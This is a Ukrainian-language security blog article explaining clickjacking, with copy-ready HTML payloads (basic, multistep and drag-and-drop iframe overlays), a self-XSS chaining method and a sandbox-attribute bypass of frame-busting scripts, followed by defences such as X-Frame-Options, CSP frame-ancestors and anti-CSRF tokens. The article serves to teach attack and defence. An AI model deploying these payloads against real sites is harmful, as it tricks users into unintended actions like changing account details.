Що таке Клікджекінг?

11.03.2024 3 хвилин Автор: Cyber Witcher

Стаття  присвячена темі Clickjacking. У ній обговорюється, що така атака clickjacking як вона працює і які можуть бути наслідки для користувачів. Атака clickjacking полягає в обмані користувача, змушуючи його клацнути по елементу веб-сторінки, який або невидимий, або маскується під інший елемент.

  • Дисклеймер: Ця стаття створена з ознайомлювальною метою. У ній описано, як працює клікджекінг, щоб показати, як зловмисники можуть використовувати цей метод, і допомогти читачам зрозуміти, як захиститися від подібних атак.

Що таке клікджекінг

Під час атаки клікджекінг користувача обманом змушують натиснути елемент на веб -сторінці , який невидимий або замаскований під інший елемент. Ця маніпуляція може призвести до небажаних наслідків для користувача, таких як завантаження зловмисного програмного забезпечення, переспрямування на шкідливі веб-сторінки, надання облікових даних або конфіденційної інформації, грошові перекази або онлайн-покупка продуктів.

Трюк попереднього заповнення форм

Іноді можливо заповнити значення полів форми за допомогою параметрів GET під час завантаження сторінки . Зловмисник може зловживати такою поведінкою, щоб заповнити форму довільними даними та надіслати корисне навантаження клікджекінгу, щоб користувач натиснув кнопку Надіслати.

Заповнити форму за допомогою Drag&Drop

Якщо вам потрібно, щоб користувач заповнив форму , але ви не хочете безпосередньо просити його написати певну інформацію (наприклад, адресу електронної пошти та/або конкретний пароль, який ви знаєте), ви можете просто попросити його перетягнути та скинути щось, що запише ваш контрольований дані, як у цьому прикладі.

Основне корисне навантаження

<style>
   iframe {
       position:relative;
       width: 500px;
       height: 700px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:470px;
       left:60px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/[email protected]"></iframe>

Багатоступеневе корисне навантаження

<style>
   iframe {
       position:relative;
       width: 500px;
       height: 500px;
       opacity: 0.1;
       z-index: 2;
   }
   .firstClick, .secondClick {
       position:absolute;
       top:330px;
       left:60px;
       z-index: 1;
   }
   .secondClick {
       left:210px;
   }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Корисне навантаження Drag&Drop + Click

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', '[email protected]')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Якщо ви виявили XSS-атаку, яка вимагає від користувача натиснути певний елемент, щоб активувати XSS, і сторінка вразлива до клікджекінгу , ви можете використати її, щоб обманом змусити користувача натиснути кнопку/посилання. приклад: Ви знайшли власний XSS у деяких особистих деталях облікового запису (деталі, які можете встановити та прочитати лише ви ). Сторінка з формою для встановлення цих деталей є вразливою до Clickjacking , тому ви можете попередньо заповнити форму параметрами GET. __Зловмисник може підготувати атаку Clickjacking на цю сторінку , попередньо заповнивши форму корисним навантаженням XSS і обманом змусивши користувача надіслати форму . Отже, коли форму надсилають і значення змінюють, користувач виконає XSS .

Стратегії пом’якшення кліків

Захист на стороні клієнта

Сценарії, що виконуються на стороні клієнта, можуть виконувати дії для запобігання Clickjacking:

  • Переконайтеся, що вікно програми є головним або верхнім вікном.

  • Зробити всі кадри видимими.

  • Запобігання натисканням на невидимі рамки.

  • Виявлення й попередження користувачів про можливі спроби Clickjacking.

Однак ці сценарії блокування кадрів можна обійти:

Параметри безпеки веб-переглядачів: деякі веб-переглядачі можуть блокувати ці сценарії через налаштування безпеки або відсутність підтримки JavaScript

Атрибут iframe HTML5 sandbox: зловмисник може нейтралізувати сценарії блокування фреймів, установивши для sandboxатрибута значення allow-formsабо allow-scriptsзначення без нього allow-top-navigation. Це не дозволяє iframe перевіряти, чи це верхнє вікно, наприклад,

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
Значення allow-formsand allow-scriptsдозволяють виконувати дії в iframe, вимикаючи навігацію верхнього рівня. Щоб забезпечити належну функціональність цільового сайту, залежно від типу атаки можуть знадобитися додаткові дозволи, такі як allow-same-originі . allow-modalsПовідомлення консолі браузера можуть вказувати, які дозволи надати.

Захист на стороні сервера

Опції X-Frame

Заголовок X-Frame-Optionsвідповіді HTTP інформує браузери про легітимність відтворення сторінки в <frame>або <iframe>, допомагаючи запобігти Clickjacking:
  • X-Frame-Options: deny- Жоден домен не може обрамляти вміст.

  • X-Frame-Options: sameorigin- Лише поточний сайт може обрамляти вміст.

  • X-Frame-Options: allow-from https://trusted.com- Лише вказаний ‘uri’ може обрамляти сторінку.

Зверніть увагу на обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери віддають перевагу директиві CSP frame-ancestors.

Директива про предків кадрів політики безпеки вмісту (CSP)

frame-ancestorsдиректива в CSP є рекомендованим методом захисту від Clickjacking:

  • frame-ancestors ‘none’- Схожий на X-Frame-Options: deny.

  • frame-ancestors ‘self’- Схожий на X-Frame-Options: sameorigin.

  • frame-ancestors trusted.com- Схожий на X-Frame-Options: allow-from.

Наприклад, наступний CSP дозволяє фреймувати лише з того самого домену:
Content-Security-Policy: frame-ancestors 'self';

Політика безпеки вмісту (CSP) з child-srcіframe-src

Політика безпеки вмісту (CSP) — це захід безпеки, який допомагає запобігти нападам Clickjacking та іншим атакам із впровадженням коду, вказуючи, з яких джерел веб-переглядач має дозволяти завантажувати вміст.
frame-srcДиректива
  • Визначає дійсні джерела для кадрів.

  • Конкретніше, ніж default-srcдиректива.

Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Ця політика дозволяє фрейми з одного джерела (власного) і https://trusted-website.com.
child-srcДиректива
  • Представлено на рівні 2 CSP для встановлення дійсних джерел для веб-воркерів і фреймів.

  • Діє як запасний варіант для frame-src і worker-src.

Content-Security-Policy: child-src 'self' https://trusted-website.com;
Ця політика дозволяє фрейми та робочі елементи з одного джерела (власного) та https://trusted-website.com.
Примітки щодо використання:
  • Застаріле: дочірній-src поступово припиняється на користь frame-src і worker-src.

  • Резервна поведінка: якщо frame-src відсутній, child-src використовується як резервний варіант для кадрів. Якщо обидва відсутні, використовується default-src.

  • Суворе визначення джерела: включайте в директиви лише надійні джерела, щоб запобігти використанню.

Скрипти JavaScript, що розбивають фрейми

Незважаючи на те, що вони не повністю надійні, сценарії блокування фреймів на основі JavaScript можна використовувати для запобігання фрейму веб-сторінки. приклад:
if (top !== self) {
    top.location = self.location;
}

Використання токенів Anti-CSRF

  • Перевірка маркерів. Використовуйте анти-CSRF-токени у веб-додатках, щоб переконатися, що запити на зміну стану навмисно надсилаються користувачем, а не через сторінку Clickjacked.

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.